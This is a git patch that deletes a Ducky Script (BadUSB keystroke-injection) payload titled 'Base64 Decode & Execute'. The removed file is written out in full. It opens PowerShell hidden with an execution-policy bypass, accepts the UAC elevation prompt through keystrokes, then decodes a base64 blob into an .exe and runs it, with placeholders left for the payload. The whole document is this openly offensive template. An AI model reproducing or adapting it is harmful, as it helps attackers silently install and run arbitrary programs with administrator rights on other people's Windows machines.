From 0c02be21ae00b969780a62e5609fa1f2cc9bdaa3 Mon Sep 17 00:00:00 2001 From: beigeworm <93350544+beigeworm@users.noreply.github.com> Date: Mon, 8 May 2023 23:15:50 +0000 Subject: [PATCH] Delete Base64 Decode & Execute.txt --- Base64 Decode & Execute.txt | 30 ------------------------------ 1 file changed, 30 deletions(-) delete mode 100644 Base64 Decode & Execute.txt diff --git a/Base64 Decode & Execute.txt b/Base64 Decode & Execute.txt deleted file mode 100644 index 8bef849..0000000 --- a/Base64 Decode & Execute.txt +++ /dev/null @@ -1,30 +0,0 @@ -REM Title: Base64 Decode & Execute -REM Author: @beigeworm -REM Description: Uses Powershell to decode a Base64 string and then execute the file. -REM Target: Windows 10 - -REM *SETUP* -REM replace all placeholders throughout the script. - -REM some setup for dukie script -DEFAULT_DELAY 100 - -REM open powershell (remove -W Hidden to show the window) -GUI r -DELAY 750 -STRING powershell -NoP -NonI -W Hidden -Exec Bypass -CTRL-SHIFT ENTER -DELAY 1500 -ALT y -DELAY 5000 - -REM *replace this below* -STRING $b64 = 'YOUR_BASE64_STRING_HERE_IN_SINGLE_QUOTES'; - -STRING $decodedFile = [System.Convert]::FromBase64String($b64); - - -REM *replace NAME_HERE and desired filetype (example is .exe)* -STRING $File = "NAME_HERE"+".exe"; - -STRING Set-Content -Path $File -Value $decodedFile -Encoding Byte;& $File \ No newline at end of file